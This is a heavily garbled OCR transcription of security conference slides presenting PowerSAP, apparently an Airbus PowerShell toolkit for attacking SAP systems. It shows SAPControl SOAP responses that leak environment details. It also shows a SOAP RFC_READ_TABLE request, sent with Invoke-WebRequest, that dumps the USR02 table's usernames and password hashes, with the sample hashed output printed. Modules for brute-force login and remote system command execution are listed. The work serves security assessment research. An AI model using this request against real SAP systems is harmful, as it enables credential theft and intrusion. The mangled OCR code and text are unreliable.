SAPControl="urn:SAPControl" xmlns 'urn : SAPGCMS " xmlns :SAPHostConty
'urn:SAPHostControl™ xmlns:8APOscol APOscol"™ xmlns:SAPDSR »n:SAPDSR™

SAPControl implemented:

<{/S0AP—ENU :Header>
<{SOAP—EN

<item>Pat ap
32 11 \WTRDOUS 16 \UINDOUS\Syoten32\Uhen

ody)
(S?PControl:GetEnuironnentResponse) .

eny
<iten>SAP Environnent (Systen Environment + SAP Registry Environmentd<{~
— —&/

{iten>ClusterLog=C:\WINDOWS Clusterscluster. logd item>
{iten>ConSpec=C:"UINDOUS systen32-cnd. exed/item>
{iten>DBMS_TYPE=ada<{/iten>
{item>FP_NO_HOST_CHECK=NO<{/itemn>
<item>NUMBER_OF_PROCESSORS=1<{/item>
(1ten)08— 'ndou“ _NI< item>

dbprogranssbin;c:\sapdbs\prograns \pgm; C: \WINDOWS\syste
usphsaphJ2ENSYSsexesucsNTI13B6<{/item>
Citem>PATHEXT =.COM; . EXE; . BAT; .CHD; . UBS ; . UBE; . JS3 . JSE; . USF3 . WSH< sitem>
<item>PROCESSOR_ARCHITECTURE=xB6<{ item>
<iten>PROCESSOR_IDENTIFIER=x86 Family 6 Model 62 EStepping 4. Genuinelnt

el{/iten’>

{iten>PROCESSOR_LEVEL=6<{/iten}>
<item?>PROCESSOR_REVISION=3ed4<{ item>
{£iten>SAPERE=C:“usr\sap J2E\SY5 \exe uc NII13B6< item>
<item>SAPLOCALHOST =EF7NU< siten>
{item>SAPSYSTEMNAME=J2E{ /iten}
(1ten)3y¢tenDrlu =G:{/itemn}

SUINDOUSS sitem>

{itemduwindir=C:“\UWINDOUS{ iten)
{item>
{sitem?

<iten>Systen Environment<{/item>

SWINDOUSSClusterscluster. logl/item>
SWINDOWSNsystend2hcmd.exe{ item>
{item>FP_NO_HOST_CHECK=NO<{ item>
{item>NUMBER_OF_PROCESSORS=1<{ritem>
(1tem)03— ndous_NT<-/iten>
th=c :“\sapdb\progranshin;c:\sapdb\programnspgm; C:\UINDOUS\syste

{item>Pa
n32;G: \HINDOHS,C SWINDOUWSNSystend2 \Mhen{ /item>

<item>PATHEXT=.COM; .EXE; .BAT; .CMD; .UBS; .UBE; . J8; . JSE; .WSF; .WSH<{viten>
<iten>PROCESSOR_ARCHITECTURE-x86< iten>
{iten>PROCESSOR_IDENTIFIER=x86 Family 6 Model 62 Stepping 4. Genuinelnt

el{/iten>

{item>PROCESSOR_LEVEL=6< item>
{item>PROCESSOR_REVISION=3eB4<{ item>
{iten>8ystenDriv {siten
{item>SystemRoo SUWINDOUS < Aitemd>
{item>TEMP=G:\WINDOUS\TEMP{  item>

GetEnv

* GetAccessPoint

* GetInstanceProperties
* GetProcesslList

* GetProcessParameter
e GetStartProfile

e GetVersioninfo
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>
<S0AP—ENU:Header>
</S0AP—ENU :Header>
<80AP—ENU:Body>
<{8APControl:GetInstancePropertiesResponse’
{properties>
Litem>
{property*Process List{/property’
{propertytype >Nodellebmethod{/propertytype>
{value>GetProcessList{ value>
{sitem?
<item>
{property*iccess Points{/property’
{propertytype *Nodellebmethod{ propertytype’>
{value>GetAccessPointList{/value?
{/item>
<item>
{property>Current Status{/property>
<{propertytype *Nodellebme thod{/propertytype>
<value>GetAlertTree{ /value>
{/item>
<item>
{property>0pen Aleprts{/property>
{propertytype *Nodelebmethod{/propertytype’>
<value>GetAlertTreed/value’
L/item?
{item>
{property>Syslog{ /property’
{propertytype *Nodellebme t hod</propertytype >
<value*ABAPReadSyslog<{ value’
</item>
Litem>
{property>Queue Statistic{/property’
{propertytype >Nodellebmethod{/propertytype>
{value>GetQueneStatistic{ /value>
<sitem>
Litem>
<property>ABAP UPF Tahle<{/property’
{propertytype *Nodellebmethod{ propertytype’>
{value >ABAPGetWPTable/value>
{/item>
<item>
{property>J2EE Process Table{/property’
<{propertytype *Nodellebme thod{/propertytype>
{value>J2EEGetProcessList2,J2EEGetProcessList{ /value>
{/item>
<item>

AIRBUS
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SAP

/sap/bc/soap/rfc SOAP Service

RFC READ TABLE Function Dump Data

. Credits to SAP Hacking mentors :p

30 =

] @0 e L

P L L L Ll L L Ly

o woa

P5 Cz:Y
<Zxm1
<S0AP-
Pyl
<S04
<n
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fpostParams "w7um] wersion="1.0" encoding="utf-8" Tx<env:Envelope xmlns:xsd="http:/ /www.w3.0org/2001,/ L 5chema" xmlns:env="http:/
<nl:RFC_READ_TABLE xmlns:nl="wrn:sap-com:document:sap:rfc:functions” env:iencodingstyle="http://schemas.xmlsoap.org/soap/encoding,/™
<DELIMITER xs1:type="wsd:string”>|</DELIMITER=<NO_DATA xsi:nil="true" =</ NO_DATA=

<QUERY_TABLE xs1:type="xsd:string"»=USR02«</QUERY_TABLE=<DATA x=1:n11="true"=</DATA=

<FIELDS xs1:nil="true"=<item=<FIELDNAME=ENAME=,/FIELDNAME=</7 tem=<1tem=<FIELDNAME=BCODE<,/FIELDNAME =</ 1 tem=</FIELDS=>

<OPTIONS xsi:nil="true” =« /OPTIONS></nl:RFC_READ_TABLE=/env:Bodv=</env:iEnvelope="

i

e

Ssoapreq Invoke-WebReguest furl -Method fmethod -ContentType "text/xm1" -Body fpostParams -Headers SHead

WriteXmlToScreen f=soapregq.Content
1

I 2

Power SAPY publich powersap’ 5tandalonesocap:> C:%PowerSAP\publichpowersaph Standal one’soap Invoke-soap rfc_read_table2.psl
version="1.0" encoding="UTF-8"7=
ENV:Envelope xmlns:S0AP-ENC="http://schemas.xmlsoap.org/s0ap,/encoding/" xmlns :S0AP-ENV="http://schemas.xmlsoap.org/soap/envelop

P-ENV : Body>
1:RFC_READ TABLE.Re=sponse xmlns:nl="urn:sap-com:document:=zap:rfc:functions"=
<DATA>
<items=
<WA=ANZEIGER | AF999B2 2/ WA=
< 1tem-
<items=
<WA=ARCHIVE | 4214 8640/ WA=
< 1tem-
<i1tem=
<WA=BARTELSY | D3A4591E </ WA=
< 1tem-
<i1tem=
<WA=BASIS | OE7BAFFF </ WA>
< 1tem-
<i1tem=
<WA-BATIPPS | 45 EBC 3EF </ WA>
</ 1tem-
<item=
<WA=BAUERC | B482E21 A/ WA
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DEMO time

Hope it will works :p
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PowerSAP tool

All scripts to assess SAP via PowerShell will be released on:
* https://github.com/airbus-seclab

 SAP RFC modules implemented:
—rfc_ping
—rfc_sysinfo
—rfc_brute_login
—rfc_sxpg_call system
—rfc_readtable via_gen_proxy

« SAP SOAP attacks
—mgmt-con-soap
—soap_rfc_ping
—sap_soap_rfc_brute login
—sap_soap rfc_read table
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https://github.com/airbus-seclab

People who like this sort of thing will find
this the sort of thing they like.

Questions ?

Thanks to UniverShell crew and vente-privee for the hosting.

Thanks to all my colleagues at AGI for all the fun
we have day to day :p
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